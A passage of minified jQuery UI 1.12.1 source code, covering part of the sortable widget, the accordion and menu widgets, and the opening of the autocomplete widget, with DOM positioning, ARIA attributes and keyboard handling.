                        if (B && A.contains(this.containers[t].element[0], B.element[0])) continue;
                        B = this.containers[t], g = t
                    } else this.containers[t].containerCache.over && (this.containers[t]._trigger("out", e, this._uiHash(this)), this.containers[t].containerCache.over = 0);
            if (B)
                if (1 === this.containers.length) this.containers[g].containerCache.over || (this.containers[g]._trigger("over", e, this._uiHash(this)), this.containers[g].containerCache.over = 1);
                else {
                    for (r = 1e4, o = null, l = B.floating || this._isFloating(this.currentItem), n = l ? "left" : "top", s = l ? "width" : "height", c = l ? "pageX" : "pageY", i = this.items.length - 1; i >= 0; i--) A.contains(this.containers[g].element[0], this.items[i].item[0]) && this.items[i].item[0] !== this.currentItem[0] && (a = this.items[i].item.offset()[n], I = !1, e[c] - a > this.items[i][s] / 2 && (I = !0), r > Math.abs(e[c] - a) && (r = Math.abs(e[c] - a), o = this.items[i], this.direction = I ? "up" : "down"));
                    if (!o && !this.options.dropOnEmpty) return;
                    if (this.currentContainer === this.containers[g]) return void(this.currentContainer.containerCache.over || (this.containers[g]._trigger("over", e, this._uiHash()), this.currentContainer.containerCache.over = 1));
                    o ? this._rearrange(e, o, null, !0) : this._rearrange(e, null, this.containers[g].element, !0), this._trigger("change", e, this._uiHash()), this.containers[g]._trigger("change", e, this._uiHash(this)), this.currentContainer = this.containers[g], this.options.placeholder.update(this.currentContainer, this.placeholder), this.containers[g]._trigger("over", e, this._uiHash(this)), this.containers[g].containerCache.over = 1
                }
        },
        _createHelper: function(e) {
            var t = this.options,
                i = A.isFunction(t.helper) ? A(t.helper.apply(this.element[0], [e, this.currentItem])) : "clone" === t.helper ? this.currentItem.clone() : this.currentItem;
            return i.parents("body").length || A("parent" !== t.appendTo ? t.appendTo : this.currentItem[0].parentNode)[0].appendChild(i[0]), i[0] === this.currentItem[0] && (this._storedCSS = {
                width: this.currentItem[0].style.width,
                height: this.currentItem[0].style.height,
                position: this.currentItem.css("position"),
                top: this.currentItem.css("top"),
                left: this.currentItem.css("left")
            }), (!i[0].style.width || t.forceHelperSize) && i.width(this.currentItem.width()), (!i[0].style.height || t.forceHelperSize) && i.height(this.currentItem.height()), i
        },
        _adjustOffsetFromHelper: function(e) {
            "string" == typeof e && (e = e.split(" ")), A.isArray(e) && (e = {
                left: +e[0],
                top: +e[1] || 0
            }), "left" in e && (this.offset.click.left = e.left + this.margins.left), "right" in e && (this.offset.click.left = this.helperProportions.width - e.right + this.margins.left), "top" in e && (this.offset.click.top = e.top + this.margins.top), "bottom" in e && (this.offset.click.top = this.helperProportions.height - e.bottom + this.margins.top)
        },
        _getParentOffset: function() {
            this.offsetParent = this.helper.offsetParent();
            var e = this.offsetParent.offset();
            return "absolute" === this.cssPosition && this.scrollParent[0] !== this.document[0] && A.contains(this.scrollParent[0], this.offsetParent[0]) && (e.left += this.scrollParent.scrollLeft(), e.top += this.scrollParent.scrollTop()), (this.offsetParent[0] === this.document[0].body || this.offsetParent[0].tagName && "html" === this.offsetParent[0].tagName.toLowerCase() && A.ui.ie) && (e = {
                top: 0,
                left: 0
            }), {
                top: e.top + (parseInt(this.offsetParent.css("borderTopWidth"), 10) || 0),
                left: e.left + (parseInt(this.offsetParent.css("borderLeftWidth"), 10) || 0)
            }
        },
        _getRelativeOffset: function() {
            if ("relative" === this.cssPosition) {
                var A = this.currentItem.position();
                return {
                    top: A.top - (parseInt(this.helper.css("top"), 10) || 0) + this.scrollParent.scrollTop(),
                    left: A.left - (parseInt(this.helper.css("left"), 10) || 0) + this.scrollParent.scrollLeft()
                }
            }
            return {
                top: 0,
                left: 0
            }
        },
        _cacheMargins: function() {
            this.margins = {
                left: parseInt(this.currentItem.css("marginLeft"), 10) || 0,
                top: parseInt(this.currentItem.css("marginTop"), 10) || 0
            }
        },
        _cacheHelperProportions: function() {
            this.helperProportions = {
                width: this.helper.outerWidth(),
                height: this.helper.outerHeight()
            }
        },
        _setContainment: function() {
            var e, t, i, r = this.options;
            "parent" === r.containment && (r.containment = this.helper[0].parentNode), ("document" === r.containment || "window" === r.containment) && (this.containment = [0 - this.offset.relative.left - this.offset.parent.left, 0 - this.offset.relative.top - this.offset.parent.top, "document" === r.containment ? this.document.width() : this.window.width() - this.helperProportions.width - this.margins.left, ("document" === r.containment ? this.document.height() || document.body.parentNode.scrollHeight : this.window.height() || this.document[0].body.parentNode.scrollHeight) - this.helperProportions.height - this.margins.top]), /^(document|window|parent)$/.test(r.containment) || (e = A(r.containment)[0], t = A(r.containment).offset(), i = "hidden" !== A(e).css("overflow"), this.containment = [t.left + (parseInt(A(e).css("borderLeftWidth"), 10) || 0) + (parseInt(A(e).css("paddingLeft"), 10) || 0) - this.margins.left, t.top + (parseInt(A(e).css("borderTopWidth"), 10) || 0) + (parseInt(A(e).css("paddingTop"), 10) || 0) - this.margins.top, t.left + (i ? Math.max(e.scrollWidth, e.offsetWidth) : e.offsetWidth) - (parseInt(A(e).css("borderLeftWidth"), 10) || 0) - (parseInt(A(e).css("paddingRight"), 10) || 0) - this.helperProportions.width - this.margins.left, t.top + (i ? Math.max(e.scrollHeight, e.offsetHeight) : e.offsetHeight) - (parseInt(A(e).css("borderTopWidth"), 10) || 0) - (parseInt(A(e).css("paddingBottom"), 10) || 0) - this.helperProportions.height - this.margins.top])
        },
        _convertPositionTo: function(e, t) {
            t || (t = this.position);
            var i = "absolute" === e ? 1 : -1,
                r = "absolute" !== this.cssPosition || this.scrollParent[0] !== this.document[0] && A.contains(this.scrollParent[0], this.offsetParent[0]) ? this.scrollParent : this.offsetParent,
                o = /(html|body)/i.test(r[0].tagName);
            return {
                top: t.top + this.offset.relative.top * i + this.offset.parent.top * i - ("fixed" === this.cssPosition ? -this.scrollParent.scrollTop() : o ? 0 : r.scrollTop()) * i,
                left: t.left + this.offset.relative.left * i + this.offset.parent.left * i - ("fixed" === this.cssPosition ? -this.scrollParent.scrollLeft() : o ? 0 : r.scrollLeft()) * i
            }
        },
        _generatePosition: function(e) {
            var t, i, r = this.options,
                o = e.pageX,
                n = e.pageY,
                s = "absolute" !== this.cssPosition || this.scrollParent[0] !== this.document[0] && A.contains(this.scrollParent[0], this.offsetParent[0]) ? this.scrollParent : this.offsetParent,
                a = /(html|body)/i.test(s[0].tagName);
            return "relative" !== this.cssPosition || this.scrollParent[0] !== this.document[0] && this.scrollParent[0] !== this.offsetParent[0] || (this.offset.relative = this._getRelativeOffset()), this.originalPosition && (this.containment && (e.pageX - this.offset.click.left < this.containment[0] && (o = this.containment[0] + this.offset.click.left), e.pageY - this.offset.click.top < this.containment[1] && (n = this.containment[1] + this.offset.click.top), e.pageX - this.offset.click.left > this.containment[2] && (o = this.containment[2] + this.offset.click.left), e.pageY - this.offset.click.top > this.containment[3] && (n = this.containment[3] + this.offset.click.top)), r.grid && (t = this.originalPageY + Math.round((n - this.originalPageY) / r.grid[1]) * r.grid[1], n = this.containment ? t - this.offset.click.top >= this.containment[1] && t - this.offset.click.top <= this.containment[3] ? t : t - this.offset.click.top >= this.containment[1] ? t - r.grid[1] : t + r.grid[1] : t, i = this.originalPageX + Math.round((o - this.originalPageX) / r.grid[0]) * r.grid[0], o = this.containment ? i - this.offset.click.left >= this.containment[0] && i - this.offset.click.left <= this.containment[2] ? i : i - this.offset.click.left >= this.containment[0] ? i - r.grid[0] : i + r.grid[0] : i)), {
                top: n - this.offset.click.top - this.offset.relative.top - this.offset.parent.top + ("fixed" === this.cssPosition ? -this.scrollParent.scrollTop() : a ? 0 : s.scrollTop()),
                left: o - this.offset.click.left - this.offset.relative.left - this.offset.parent.left + ("fixed" === this.cssPosition ? -this.scrollParent.scrollLeft() : a ? 0 : s.scrollLeft())
            }
        },
        _rearrange: function(A, e, t, i) {
            t ? t[0].appendChild(this.placeholder[0]) : e.item[0].parentNode.insertBefore(this.placeholder[0], "down" === this.direction ? e.item[0] : e.item[0].nextSibling), this.counter = this.counter ? ++this.counter : 1;
            var r = this.counter;
            this._delay(function() {
                r === this.counter && this.refreshPositions(!i)
            })
        },
        _clear: function(A, e) {
            function t(A, e, t) {
                return function(i) {
                    t._trigger(A, i, e._uiHash(e))
                }
            }
            this.reverting = !1;
            var i, r = [];
            if (!this._noFinalSort && this.currentItem.parent().length && this.placeholder.before(this.currentItem), this._noFinalSort = null, this.helper[0] === this.currentItem[0]) {
                for (i in this._storedCSS)("auto" === this._storedCSS[i] || "static" === this._storedCSS[i]) && (this._storedCSS[i] = "");
                this.currentItem.css(this._storedCSS), this._removeClass(this.currentItem, "ui-sortable-helper")
            } else this.currentItem.show();
            for (this.fromOutside && !e && r.push(function(A) {
                    this._trigger("receive", A, this._uiHash(this.fromOutside))
                }), !this.fromOutside && this.domPosition.prev === this.currentItem.prev().not(".ui-sortable-helper")[0] && this.domPosition.parent === this.currentItem.parent()[0] || e || r.push(function(A) {
                    this._trigger("update", A, this._uiHash())
                }), this !== this.currentContainer && (e || (r.push(function(A) {
                    this._trigger("remove", A, this._uiHash())
                }), r.push(function(A) {
                    return function(e) {
                        A._trigger("receive", e, this._uiHash(this))
                    }
                }.call(this, this.currentContainer)), r.push(function(A) {
                    return function(e) {
                        A._trigger("update", e, this._uiHash(this))
                    }
                }.call(this, this.currentContainer)))), i = this.containers.length - 1; i >= 0; i--) e || r.push(t("deactivate", this, this.containers[i])), this.containers[i].containerCache.over && (r.push(t("out", this, this.containers[i])), this.containers[i].containerCache.over = 0);
            if (this.storedCursor && (this.document.find("body").css("cursor", this.storedCursor), this.storedStylesheet.remove()), this._storedOpacity && this.helper.css("opacity", this._storedOpacity), this._storedZIndex && this.helper.css("zIndex", "auto" === this._storedZIndex ? "" : this._storedZIndex), this.dragging = !1, e || this._trigger("beforeStop", A, this._uiHash()), this.placeholder[0].parentNode.removeChild(this.placeholder[0]), this.cancelHelperRemoval || (this.helper[0] !== this.currentItem[0] && this.helper.remove(), this.helper = null), !e) {
                for (i = 0; r.length > i; i++) r[i].call(this, A);
                this._trigger("stop", A, this._uiHash())
            }
            return this.fromOutside = !1, !this.cancelHelperRemoval
        },
        _trigger: function() {
            !1 === A.Widget.prototype._trigger.apply(this, arguments) && this.cancel()
        },
        _uiHash: function(e) {
            var t = e || this;
            return {
                helper: t.helper,
                placeholder: t.placeholder || A([]),
                position: t.position,
                originalPosition: t.originalPosition,
                offset: t.positionAbs,
                item: t.currentItem,
                sender: e ? e.element : null
            }
        }
    }), A.widget("ui.accordion", {
        version: "1.12.1",
        options: {
            active: 0,
            animate: {},
            classes: {
                "ui-accordion-header": "ui-corner-top",
                "ui-accordion-header-collapsed": "ui-corner-all",
                "ui-accordion-content": "ui-corner-bottom"
            },
            collapsible: !1,
            event: "click",
            header: "> li > :first-child, > :not(li):even",
            heightStyle: "auto",
            icons: {
                activeHeader: "ui-icon-triangle-1-s",
                header: "ui-icon-triangle-1-e"
            },
            activate: null,
            beforeActivate: null
        },
        hideProps: {
            borderTopWidth: "hide",
            borderBottomWidth: "hide",
            paddingTop: "hide",
            paddingBottom: "hide",
            height: "hide"
        },
        showProps: {
            borderTopWidth: "show",
            borderBottomWidth: "show",
            paddingTop: "show",
            paddingBottom: "show",
            height: "show"
        },
        _create: function() {
            var e = this.options;
            this.prevShow = this.prevHide = A(), this._addClass("ui-accordion", "ui-widget ui-helper-reset"), this.element.attr("role", "tablist"), e.collapsible || !1 !== e.active && null != e.active || (e.active = 0), this._processPanels(), 0 > e.active && (e.active += this.headers.length), this._refresh()
        },
        _getCreateEventData: function() {
            return {
                header: this.active,
                panel: this.active.length ? this.active.next() : A()
            }
        },
        _createIcons: function() {
            var e, t, i = this.options.icons;
            i && (e = A("<span>"), this._addClass(e, "ui-accordion-header-icon", "ui-icon " + i.header), e.prependTo(this.headers), t = this.active.children(".ui-accordion-header-icon"), this._removeClass(t, i.header)._addClass(t, null, i.activeHeader)._addClass(this.headers, "ui-accordion-icons"))
        },
        _destroyIcons: function() {
            this._removeClass(this.headers, "ui-accordion-icons"), this.headers.children(".ui-accordion-header-icon").remove()
        },
        _destroy: function() {
            var A;
            this.element.removeAttr("role"), this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId(), this._destroyIcons(), A = this.headers.next().css("display", "").removeAttr("role aria-hidden aria-labelledby").removeUniqueId(), "content" !== this.options.heightStyle && A.css("height", "")
        },
        _setOption: function(A, e) {
            return "active" === A ? void this._activate(e) : ("event" === A && (this.options.event && this._off(this.headers, this.options.event), this._setupEvents(e)), this._super(A, e), "collapsible" !== A || e || !1 !== this.options.active || this._activate(0), void("icons" === A && (this._destroyIcons(), e && this._createIcons())))
        },
        _setOptionDisabled: function(A) {
            this._super(A), this.element.attr("aria-disabled", A), this._toggleClass(null, "ui-state-disabled", !!A), this._toggleClass(this.headers.add(this.headers.next()), null, "ui-state-disabled", !!A)
        },
        _keydown: function(e) {
            if (!e.altKey && !e.ctrlKey) {
                var t = A.ui.keyCode,
                    i = this.headers.length,
                    r = this.headers.index(e.target),
                    o = !1;
                switch (e.keyCode) {
                    case t.RIGHT:
                    case t.DOWN:
                        o = this.headers[(r + 1) % i];
                        break;
                    case t.LEFT:
                    case t.UP:
                        o = this.headers[(r - 1 + i) % i];
                        break;
                    case t.SPACE:
                    case t.ENTER:
                        this._eventHandler(e);
                        break;
                    case t.HOME:
                        o = this.headers[0];
                        break;
                    case t.END:
                        o = this.headers[i - 1]
                }
                o && (A(e.target).attr("tabIndex", -1), A(o).attr("tabIndex", 0), A(o).trigger("focus"), e.preventDefault())
            }
        },
        _panelKeyDown: function(e) {
            e.keyCode === A.ui.keyCode.UP && e.ctrlKey && A(e.currentTarget).prev().trigger("focus")
        },
        refresh: function() {
            var e = this.options;
            this._processPanels(), !1 === e.active && !0 === e.collapsible || !this.headers.length ? (e.active = !1, this.active = A()) : !1 === e.active ? this._activate(0) : this.active.length && !A.contains(this.element[0], this.active[0]) ? this.headers.length === this.headers.find(".ui-state-disabled").length ? (e.active = !1, this.active = A()) : this._activate(Math.max(0, e.active - 1)) : e.active = this.headers.index(this.active), this._destroyIcons(), this._refresh()
        },
        _processPanels: function() {
            var A = this.headers,
                e = this.panels;
            this.headers = this.element.find(this.options.header), this._addClass(this.headers, "ui-accordion-header ui-accordion-header-collapsed", "ui-state-default"), this.panels = this.headers.next().filter(":not(.ui-accordion-content-active)").hide(), this._addClass(this.panels, "ui-accordion-content", "ui-helper-reset ui-widget-content"), e && (this._off(A.not(this.headers)), this._off(e.not(this.panels)))
        },
        _refresh: function() {
            var e, t = this.options,
                i = t.heightStyle,
                r = this.element.parent();
            this.active = this._findActive(t.active), this._addClass(this.active, "ui-accordion-header-active", "ui-state-active")._removeClass(this.active, "ui-accordion-header-collapsed"), this._addClass(this.active.next(), "ui-accordion-content-active"), this.active.next().show(), this.headers.attr("role", "tab").each(function() {
                var e = A(this),
                    t = e.uniqueId().attr("id"),
                    i = e.next(),
                    r = i.uniqueId().attr("id");
                e.attr("aria-controls", r), i.attr("aria-labelledby", t)
            }).next().attr("role", "tabpanel"), this.headers.not(this.active).attr({
                "aria-selected": "false",
                "aria-expanded": "false",
                tabIndex: -1
            }).next().attr({
                "aria-hidden": "true"
            }).hide(), this.active.length ? this.active.attr({
                "aria-selected": "true",
                "aria-expanded": "true",
                tabIndex: 0
            }).next().attr({
                "aria-hidden": "false"
            }) : this.headers.eq(0).attr("tabIndex", 0), this._createIcons(), this._setupEvents(t.event), "fill" === i ? (e = r.height(), this.element.siblings(":visible").each(function() {
                var t = A(this),
                    i = t.css("position");
                "absolute" !== i && "fixed" !== i && (e -= t.outerHeight(!0))
            }), this.headers.each(function() {
                e -= A(this).outerHeight(!0)
            }), this.headers.next().each(function() {
                A(this).height(Math.max(0, e - A(this).innerHeight() + A(this).height()))
            }).css("overflow", "auto")) : "auto" === i && (e = 0, this.headers.next().each(function() {
                var t = A(this).is(":visible");
                t || A(this).show(), e = Math.max(e, A(this).css("height", "").height()), t || A(this).hide()
            }).height(e))
        },
        _activate: function(e) {
            var t = this._findActive(e)[0];
            t !== this.active[0] && (t = t || this.active[0], this._eventHandler({
                target: t,
                currentTarget: t,
                preventDefault: A.noop
            }))
        },
        _findActive: function(e) {
            return "number" == typeof e ? this.headers.eq(e) : A()
        },
        _setupEvents: function(e) {
            var t = {
                keydown: "_keydown"
            };
            e && A.each(e.split(" "), function(A, e) {
                t[e] = "_eventHandler"
            }), this._off(this.headers.add(this.headers.next())), this._on(this.headers, t), this._on(this.headers.next(), {
                keydown: "_panelKeyDown"
            }), this._hoverable(this.headers), this._focusable(this.headers)
        },
        _eventHandler: function(e) {
            var t, i, r = this.options,
                o = this.active,
                n = A(e.currentTarget),
                s = n[0] === o[0],
                a = s && r.collapsible,
                I = a ? A() : n.next(),
                l = o.next(),
                c = {
                    oldHeader: o,
                    oldPanel: l,
                    newHeader: a ? A() : n,
                    newPanel: I
                };
            e.preventDefault(), s && !r.collapsible || !1 === this._trigger("beforeActivate", e, c) || (r.active = !a && this.headers.index(n), this.active = s ? A() : n, this._toggle(c), this._removeClass(o, "ui-accordion-header-active", "ui-state-active"), r.icons && (t = o.children(".ui-accordion-header-icon"), this._removeClass(t, null, r.icons.activeHeader)._addClass(t, null, r.icons.header)), s || (this._removeClass(n, "ui-accordion-header-collapsed")._addClass(n, "ui-accordion-header-active", "ui-state-active"), r.icons && (i = n.children(".ui-accordion-header-icon"), this._removeClass(i, null, r.icons.header)._addClass(i, null, r.icons.activeHeader)), this._addClass(n.next(), "ui-accordion-content-active")))
        },
        _toggle: function(e) {
            var t = e.newPanel,
                i = this.prevShow.length ? this.prevShow : e.oldPanel;
            this.prevShow.add(this.prevHide).stop(!0, !0), this.prevShow = t, this.prevHide = i, this.options.animate ? this._animate(t, i, e) : (i.hide(), t.show(), this._toggleComplete(e)), i.attr({
                "aria-hidden": "true"
            }), i.prev().attr({
                "aria-selected": "false",
                "aria-expanded": "false"
            }), t.length && i.length ? i.prev().attr({
                tabIndex: -1,
                "aria-expanded": "false"
            }) : t.length && this.headers.filter(function() {
                return 0 === parseInt(A(this).attr("tabIndex"), 10)
            }).attr("tabIndex", -1), t.attr("aria-hidden", "false").prev().attr({
                "aria-selected": "true",
                "aria-expanded": "true",
                tabIndex: 0
            })
        },
        _animate: function(A, e, t) {
            var i, r, o, n = this,
                s = 0,
                a = A.css("box-sizing"),
                I = A.length && (!e.length || A.index() < e.index()),
                l = this.options.animate || {},
                c = I && l.down || l,
                B = function() {
                    n._toggleComplete(t)
                };
            return "number" == typeof c && (o = c), "string" == typeof c && (r = c), r = r || c.easing || l.easing, o = o || c.duration || l.duration, e.length ? A.length ? (i = A.show().outerHeight(), e.animate(this.hideProps, {
                duration: o,
                easing: r,
                step: function(A, e) {
                    e.now = Math.round(A)
                }
            }), void A.hide().animate(this.showProps, {
                duration: o,
                easing: r,
                complete: B,
                step: function(A, t) {
                    t.now = Math.round(A), "height" !== t.prop ? "content-box" === a && (s += t.now) : "content" !== n.options.heightStyle && (t.now = Math.round(i - e.outerHeight() - s), s = 0)
                }
            })) : e.animate(this.hideProps, o, r, B) : A.animate(this.showProps, o, r, B)
        },
        _toggleComplete: function(A) {
            var e = A.oldPanel,
                t = e.prev();
            this._removeClass(e, "ui-accordion-content-active"), this._removeClass(t, "ui-accordion-header-active")._addClass(t, "ui-accordion-header-collapsed"), e.length && (e.parent()[0].className = e.parent()[0].className), this._trigger("activate", null, A)
        }
    }), A.widget("ui.menu", {
        version: "1.12.1",
        defaultElement: "<ul>",
        delay: 300,
        options: {
            icons: {
                submenu: "ui-icon-caret-1-e"
            },
            items: "> *",
            menus: "ul",
            position: {
                my: "left top",
                at: "right top"
            },
            role: "menu",
            blur: null,
            focus: null,
            select: null
        },
        _create: function() {
            this.activeMenu = this.element, this.mouseHandled = !1, this.element.uniqueId().attr({
                role: this.options.role,
                tabIndex: 0
            }), this._addClass("ui-menu", "ui-widget ui-widget-content"), this._on({
                "mousedown .ui-menu-item": function(A) {
                    A.preventDefault()
                },
                "click .ui-menu-item": function(e) {
                    var t = A(e.target),
                        i = A(A.ui.safeActiveElement(this.document[0]));
                    !this.mouseHandled && t.not(".ui-state-disabled").length && (this.select(e), e.isPropagationStopped() || (this.mouseHandled = !0), t.has(".ui-menu").length ? this.expand(e) : !this.element.is(":focus") && i.closest(".ui-menu").length && (this.element.trigger("focus", [!0]), this.active && 1 === this.active.parents(".ui-menu").length && clearTimeout(this.timer)))
                },
                "mouseenter .ui-menu-item": function(e) {
                    if (!this.previousFilter) {
                        var t = A(e.target).closest(".ui-menu-item"),
                            i = A(e.currentTarget);
                        t[0] === i[0] && (this._removeClass(i.siblings().children(".ui-state-active"), null, "ui-state-active"), this.focus(e, i))
                    }
                },
                mouseleave: "collapseAll",
                "mouseleave .ui-menu": "collapseAll",
                focus: function(A, e) {
                    var t = this.active || this.element.find(this.options.items).eq(0);
                    e || this.focus(A, t)
                },
                blur: function(e) {
                    this._delay(function() {
                        !A.contains(this.element[0], A.ui.safeActiveElement(this.document[0])) && this.collapseAll(e)
                    })
                },
                keydown: "_keydown"
            }), this.refresh(), this._on(this.document, {
                click: function(A) {
                    this._closeOnDocumentClick(A) && this.collapseAll(A), this.mouseHandled = !1
                }
            })
        },
        _destroy: function() {
            var e = this.element.find(".ui-menu-item").removeAttr("role aria-disabled"),
                t = e.children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");
            this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(), t.children().each(function() {
                var e = A(this);
                e.data("ui-menu-submenu-caret") && e.remove()
            })
        },
        _keydown: function(e) {
            var t, i, r, o, n = !0;
            switch (e.keyCode) {
                case A.ui.keyCode.PAGE_UP:
                    this.previousPage(e);
                    break;
                case A.ui.keyCode.PAGE_DOWN:
                    this.nextPage(e);
                    break;
                case A.ui.keyCode.HOME:
                    this._move("first", "first", e);
                    break;
                case A.ui.keyCode.END:
                    this._move("last", "last", e);
                    break;
                case A.ui.keyCode.UP:
                    this.previous(e);
                    break;
                case A.ui.keyCode.DOWN:
                    this.next(e);
                    break;
                case A.ui.keyCode.LEFT:
                    this.collapse(e);
                    break;
                case A.ui.keyCode.RIGHT:
                    this.active && !this.active.is(".ui-state-disabled") && this.expand(e);
                    break;
                case A.ui.keyCode.ENTER:
                case A.ui.keyCode.SPACE:
                    this._activate(e);
                    break;
                case A.ui.keyCode.ESCAPE:
                    this.collapse(e);
                    break;
                default:
                    n = !1, i = this.previousFilter || "", o = !1, r = e.keyCode >= 96 && 105 >= e.keyCode ? "" + (e.keyCode - 96) : String.fromCharCode(e.keyCode), clearTimeout(this.filterTimer), r === i ? o = !0 : r = i + r, t = this._filterMenuItems(r), t = o && -1 !== t.index(this.active.next()) ? this.active.nextAll(".ui-menu-item") : t, t.length || (r = String.fromCharCode(e.keyCode), t = this._filterMenuItems(r)), t.length ? (this.focus(e, t), this.previousFilter = r, this.filterTimer = this._delay(function() {
                        delete this.previousFilter
                    }, 1e3)) : delete this.previousFilter
            }
            n && e.preventDefault()
        },
        _activate: function(A) {
            this.active && !this.active.is(".ui-state-disabled") && (this.active.children("[aria-haspopup='true']").length ? this.expand(A) : this.select(A))
        },
        refresh: function() {
            var e, t, i, r, o, n = this,
                s = this.options.icons.submenu,
                a = this.element.find(this.options.menus);
            this._toggleClass("ui-menu-icons", null, !!this.element.find(".ui-icon").length), i = a.filter(":not(.ui-menu)").hide().attr({
                role: this.options.role,
                "aria-hidden": "true",
                "aria-expanded": "false"
            }).each(function() {
                var e = A(this),
                    t = e.prev(),
                    i = A("<span>").data("ui-menu-submenu-caret", !0);
                n._addClass(i, "ui-menu-icon", "ui-icon " + s), t.attr("aria-haspopup", "true").prepend(i), e.attr("aria-labelledby", t.attr("id"))
            }), this._addClass(i, "ui-menu", "ui-widget ui-widget-content ui-front"), e = a.add(this.element), t = e.find(this.options.items), t.not(".ui-menu-item").each(function() {
                var e = A(this);
                n._isDivider(e) && n._addClass(e, "ui-menu-divider", "ui-widget-content")
            }), r = t.not(".ui-menu-item, .ui-menu-divider"), o = r.children().not(".ui-menu").uniqueId().attr({
                tabIndex: -1,
                role: this._itemRole()
            }), this._addClass(r, "ui-menu-item")._addClass(o, "ui-menu-item-wrapper"), t.filter(".ui-state-disabled").attr("aria-disabled", "true"), this.active && !A.contains(this.element[0], this.active[0]) && this.blur()
        },
        _itemRole: function() {
            return {
                menu: "menuitem",
                listbox: "option"
            } [this.options.role]
        },
        _setOption: function(A, e) {
            if ("icons" === A) {
                var t = this.element.find(".ui-menu-icon");
                this._removeClass(t, null, this.options.icons.submenu)._addClass(t, null, e.submenu)
            }
            this._super(A, e)
        },
        _setOptionDisabled: function(A) {
            this._super(A), this.element.attr("aria-disabled", A + ""), this._toggleClass(null, "ui-state-disabled", !!A)
        },
        focus: function(A, e) {
            var t, i, r;
            this.blur(A, A && "focus" === A.type), this._scrollIntoView(e), this.active = e.first(), i = this.active.children(".ui-menu-item-wrapper"), this._addClass(i, null, "ui-state-active"), this.options.role && this.element.attr("aria-activedescendant", i.attr("id")), r = this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"), this._addClass(r, null, "ui-state-active"), A && "keydown" === A.type ? this._close() : this.timer = this._delay(function() {
                this._close()
            }, this.delay), t = e.children(".ui-menu"), t.length && A && /^mouse/.test(A.type) && this._startOpening(t), this.activeMenu = e.parent(), this._trigger("focus", A, {
                item: e
            })
        },
        _scrollIntoView: function(e) {
            var t, i, r, o, n, s;
            this._hasScroll() && (t = parseFloat(A.css(this.activeMenu[0], "borderTopWidth")) || 0, i = parseFloat(A.css(this.activeMenu[0], "paddingTop")) || 0, r = e.offset().top - this.activeMenu.offset().top - t - i, o = this.activeMenu.scrollTop(), n = this.activeMenu.height(), s = e.outerHeight(), 0 > r ? this.activeMenu.scrollTop(o + r) : r + s > n && this.activeMenu.scrollTop(o + r - n + s))
        },
        blur: function(A, e) {
            e || clearTimeout(this.timer), this.active && (this._removeClass(this.active.children(".ui-menu-item-wrapper"), null, "ui-state-active"), this._trigger("blur", A, {
                item: this.active
            }), this.active = null)
        },
        _startOpening: function(A) {
            clearTimeout(this.timer), "true" === A.attr("aria-hidden") && (this.timer = this._delay(function() {
                this._close(), this._open(A)
            }, this.delay))
        },
        _open: function(e) {
            var t = A.extend({ of: this.active
            }, this.options.position);
            clearTimeout(this.timer), this.element.find(".ui-menu").not(e.parents(".ui-menu")).hide().attr("aria-hidden", "true"), e.show().removeAttr("aria-hidden").attr("aria-expanded", "true").position(t)
        },
        collapseAll: function(e, t) {
            clearTimeout(this.timer), this.timer = this._delay(function() {
                var i = t ? this.element : A(e && e.target).closest(this.element.find(".ui-menu"));
                i.length || (i = this.element), this._close(i), this.blur(e), this._removeClass(i.find(".ui-state-active"), null, "ui-state-active"), this.activeMenu = i
            }, this.delay)
        },
        _close: function(A) {
            A || (A = this.active ? this.active.parent() : this.element), A.find(".ui-menu").hide().attr("aria-hidden", "true").attr("aria-expanded", "false")
        },
        _closeOnDocumentClick: function(e) {
            return !A(e.target).closest(".ui-menu").length
        },
        _isDivider: function(A) {
            return !/[^\-\u2014\u2013\s]/.test(A.text())
        },
        collapse: function(A) {
            var e = this.active && this.active.parent().closest(".ui-menu-item", this.element);
            e && e.length && (this._close(), this.focus(A, e))
        },
        expand: function(A) {
            var e = this.active && this.active.children(".ui-menu ").find(this.options.items).first();
            e && e.length && (this._open(e.parent()), this._delay(function() {
                this.focus(A, e)
            }))
        },
        next: function(A) {
            this._move("next", "first", A)
        },
        previous: function(A) {
            this._move("prev", "last", A)
        },
        isFirstItem: function() {
            return this.active && !this.active.prevAll(".ui-menu-item").length
        },
        isLastItem: function() {
            return this.active && !this.active.nextAll(".ui-menu-item").length
        },
        _move: function(A, e, t) {
            var i;
            this.active && (i = "first" === A || "last" === A ? this.active["first" === A ? "prevAll" : "nextAll"](".ui-menu-item").eq(-1) : this.active[A + "All"](".ui-menu-item").eq(0)), i && i.length && this.active || (i = this.activeMenu.find(this.options.items)[e]()), this.focus(t, i)
        },
        nextPage: function(e) {
            var t, i, r;
            return this.active ? void(this.isLastItem() || (this._hasScroll() ? (i = this.active.offset().top, r = this.element.height(), this.active.nextAll(".ui-menu-item").each(function() {
                return t = A(this), 0 > t.offset().top - i - r
            }), this.focus(e, t)) : this.focus(e, this.activeMenu.find(this.options.items)[this.active ? "last" : "first"]()))) : void this.next(e)
        },
        previousPage: function(e) {
            var t, i, r;
            return this.active ? void(this.isFirstItem() || (this._hasScroll() ? (i = this.active.offset().top, r = this.element.height(), this.active.prevAll(".ui-menu-item").each(function() {
                return t = A(this), t.offset().top - i + r > 0
            }), this.focus(e, t)) : this.focus(e, this.activeMenu.find(this.options.items).first()))) : void this.next(e)
        },
        _hasScroll: function() {
            return this.element.outerHeight() < this.element.prop("scrollHeight")
        },
        select: function(e) {
            this.active = this.active || A(e.target).closest(".ui-menu-item");
            var t = {
                item: this.active
            };
            this.active.has(".ui-menu").length || this.collapseAll(e, !0), this._trigger("select", e, t)
        },
        _filterMenuItems: function(e) {
            var t = e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&"),
                i = RegExp("^" + t, "i");
            return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function() {
                return i.test(A.trim(A(this).children(".ui-menu-item-wrapper").text()))
            })
        }
    }), A.widget("ui.autocomplete", {
        version: "1.12.1",
        defaultElement: "<input>",
        options: {
            appendTo: null,
            autoFocus: !1,
            delay: 300,
            minLength: 1,
            position: {
                my: "left top",
                at: "left bottom",
                collision: "none"
            },
            source: null,
            change: null,
            close: null,
            focus: null,
            open: null,
            response: null,
            search: null,
            select: null
        },
        requestIndex: 0,
        pending: 0,
        _create: function() {
